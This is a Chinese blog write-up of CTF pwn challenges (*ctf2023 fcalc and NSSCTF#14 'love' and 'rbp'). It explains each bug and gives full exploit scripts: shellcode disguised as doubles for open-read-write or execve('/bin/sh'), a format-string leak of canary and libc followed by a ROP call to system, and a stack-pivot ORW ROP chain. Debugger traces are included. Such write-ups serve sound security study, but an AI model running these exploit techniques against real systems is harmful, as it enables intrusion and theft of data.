

*ctf2023 fcalc

分析程序

本题存在漏洞，是生活中很容易犯的错误，就是循环或者判断的时候没有注意多一还是少一，这种会发生很严重的问题。比如这个题在过滤数字的时候没有过滤掉0，所以输入0的时候会跳转到栈的内容，从而被攻击者执行shellcode。

不过本题目不能直接执行，因为存在一个对浮点数的检查，如果不符合检查会报错，所以写shellcode的时候要伪造成double浮点数，实际上就是把前面改成0x4040即可。

并且要注意binsh的长度过长，不能直接提权，要走orw。

(后续看了逮捕你战队，发现可以使用移位运算两位两位修改rdi为binsh，然后作为参数，确实没想到)

exp 我的

```
1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')
7  #libset('libc-2.23.so')
8  rsetup('61.147.171.105', 62960)
9
10
11 sla(':', b'1.0 2.0 -'*2)
12
13 shellcode = asm('''
14     push 1
15     pop rax
16     ''')
17
18 #sa('-1', b'\x00'*80 + shellcode)
19 sa('-1', b'\x00'*80 +
    p64(0x40404867616c6668)+p64(0x4040f63190e78948)+p64(0x404090050f58026a)+p64(0x4040
    e68948c78948)+p64(0x404090900000040ba)+p64(0x40409090050fc031)+p64(0x4040909090e689
    48)+p64(0x404058016a5f016a)+p64(0x404090909090050f))
20 evgdb('b *$rebase(0x1876)')
21 print(shellcode)
22 sl(b'0')
23 ia()
24
```

```

▶ 0x7ffeb956d710    push    0x67616c66
0x7ffeb956d715    mov     rdi, rsp
0x7ffeb956d71b    nop
0x7ffeb956d71c    xor     esi, esi
0x7ffeb956d71e    push    2
0x7ffeb956d722    pop     rax
0x7ffeb956d723    syscall
0x7ffeb956d725    nop
0x7ffeb956d726    mov     rdi, rax
0x7ffeb956d72b    mov     rsi, rsp
0x7ffeb956d72e    mov     edx, 0x40

```

```

[RIP] 0x7ffeb956d73a ← 0x8948404090900501
[ DISASM / x86-64 / set emulate c
0x7ffeb956d726    mov     rdi, rax
0x7ffeb956d72b    mov     rsi, rsp
0x7ffeb956d72e    mov     edx, 0x40
0x7ffeb956d735    or      dword ptr [rcx + 0x40], ecx
0x7ffeb956d738    xor     eax, eax
▶ 0x7ffeb956d73a    syscall  <SYS_read>
    fd: 0x3 (/home/N1nE/ctf/match/starctf 2023/flag)
    buf: 0x7ffeb956d6b0 ← 0x67616c66 /* 'flag' */
    nbytes: 0x40
0x7ffeb956d73c    nop
0x7ffeb956d73d    nop
0x7ffeb956d73e    mov     rsi, rsp
0x7ffeb956d743    nop
0x7ffeb956d744    nop
[ STACK ]

```

```

[RIP] 0x7ffeb956d74e ← 0x9090909005014040
[ DISASM / x86-64 / set emulate
0x7ffeb956d745    nop
0x7ffeb956d746    push    1
0x7ffeb956d74a    pop     rdi
0x7ffeb956d74b    push    1
0x7ffeb956d74d    pop     rax
▶ 0x7ffeb956d74e    syscall  <SYS_write>
    fd: 0x1 (/dev/pts/2)
    buf: 0x7ffeb956d6b0 ← 'flag{33333!!!}\n'
    n: 0x40
0x7ffeb956d752    nop
0x7ffeb956d753    nop
0x7ffeb956d754    nop

```

exp2 参考逮捕你战队的

```

1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')

```

```
7  #libset('libc-2.23.so')
8  rsetup('61.147.171.105',62960)
9
10
11  sla(':',b'1.0 2.0 -*2)
12
13  shellcode = asm('''
14      push 1
15      pop rax
16      ''')
17
18  def set_sc(sc):
19      pd = flat(
20          {
21              0:sc
22          },filler = '\x40',length=8
23      )
24      return pd
25
26  pd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10
27  pd+= set_sc("\x48\x31\xc0")
28  pd+= set_sc("\xb8\x3b\x00\x00\x00")
29  pd+= set_sc("\xbf\x2f\x73\x68\x00")
30  pd+=set_sc("\x48\xc1\xe7\x10")
31  pd+=set_sc("\x66\x81\xc7\x69\x6e")
32  pd+=set_sc("\x48\xc1\xe7\x10")
33  pd+=set_sc("\x66\x81\xc7\x2f\x62")
34  pd+=set_sc("\x57\x48\x89\xe7")
35  pd+=set_sc("\x48\x31\xf6")
36  pd+=set_sc("\x48\x31\xd2\x0f\x05")
37
38  sa('Enter your expression:',pd)
39  evgdb('b *$rebase(0x1876)')
40  sla('Result: ',b'0')
41
42  ia()
43
```

```
*RIP 0x7ffe74eccc98 ← 0x4040404040c03148
[ DISASM / x86-64 /

► 0x7ffe74eccc98 xor rax, rax
0x7ffe74eccc9b mov eax, 0x3b
0x7ffe74eccc9d mov edi, 0x68732f
0x7ffe74eccc9f shl rdi, 0x10
0x7ffe74eccc9d add di, 0x6e69
0x7ffe74eccc9f shl rdi, 0x10
0x7ffe74eccc9d add di, 0x622f
0x7ffe74eccc9f push rdi
0x7ffe74eccc9d mov rdi, rsp
0x7ffe74eccc9f xor rsi, rsi
0x7ffe74eccc9d xor rdx, rdx
[ STA

00:0000 | rsp 0x7ffe74eccc38 → 0x55a5c981487c ← jmp
```

最后syscall就行，参考学习一下，很好的思路。shl rdi,0x10相当于乘以0x10000。

nssctf#14

love

```
1 from evilblade import *
2
3 context(os='linux', arch='amd64')
4 context(os='linux', arch='amd64', log_level='debug')
5
6 setup('./0')
7 libset('libc.so.6')
8 rsetup('node3.anna.nssctf.cn', 28586)
9 evgdb()
10
11 #感谢T1d师傅，本题patch还需要patchelf --add-needed 你的目录/libpthread.so.0 pwn
12
13 rdi = 0x00000000004013f3
14 payload = b'%520c%9$n-%17$p-%15$p\x00\x00\x00sh\x00'
15 #写入sh，使用fmt促成相等，泄露libc地址和canary
16 #fmt无所不能
17
18 sd(payload)
19 can = tet()
20 can = tet()
21 addx = ru('--')
22 addx = int(ru('--')[:-1], 16)
23 dp('addx', hex(addx))
24 base = getbase(addx, '__libc_start_main', 243)
25 can = int(ru('00')[:-18:], 16)
26 dp('can', hex(can))
27 os = base + 0xe3b04
28 sys = symoff('system', base)
```

```

29  binsh = 0x4040d8
30
31  sla('level', b'a'*0x28+p64(can)+p64(0)+p64(rdi)+p64(binsh)+p64(0x40101a)+p64(sys))
32
33
34  ia()
35

```

rbp

和之前那个旅行者题目很像，使用call read进行栈迁移即可。这里有一个很好的参考博客。

<http://t.csdn.cn/XRf6t>

感谢这个师傅，不过后面的操作好像有点繁琐。

因为开了沙盒execve，我走的orw，并且用libc里的一些gadget控制参数。最后的w用的是程序自带的puts。

```

1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')
7  libset('libc.so.6')
8  rsetup('node1.anna.nssctf.cn', 28642)
9
10 vuln = 0x401270
11 lv = 0x40121d
12 puts = pltadd('puts')
13 start = symadd('_start')
14 bss = 0x404500
15 rdi = 0x00000000000401353 # pop rdi ; ret
16 rsir15 = 0x00000000000401351
17 putsgot = gotadd('puts')
18
19 sd(b'a'*0x210+p64(bss)+p64(0x401292))
20 sd(b'a'*0x210+p64(bss+0x210)+p64(0x401292))
21 sd(b'a'*8+p64(rdi)+p64(putsgot)+p64(puts)+p64(0x401292))
22 addx = tet()
23 addx = tet()
24 addx = tet()
25 addx = tet()
26 addx = getx64(0, -1)
27 base = getbase(addx, 'puts')
28 openadd = symoff('open', base)
29 syscall = base+0x000000000002284d
30 read = symoff('read', base)
31 rax = base+0x0000000000036174
32 rdx = base+0x00000000000142c92
33
34 evgdb()
35 flag = 0x404500+0x90+0x18
36 payload = (b'aaaaaaaabaaaaaaacaaaaaaflag\x00aaa'+p64(rdi))
37 payload += p64(flag) + p64(rsir15)+p64(0)*2+ p64(openadd)#open
38 payload += p64(rdi) + p64(3) + p64(rsir15) + p64(0x404800) + p64(0)#read
39 payload += p64(rdx) + p64(0x30) + p64(read)
40 payload += p64(rdi) + p64(0x404800) + p64(puts)
41 payload += b'flag\x00'

```

```
42 sd(payload)
43
44 ia()
```

posted @ 2023-07-31 22:39 .N1nEmAn 阅读(171) 评论(0)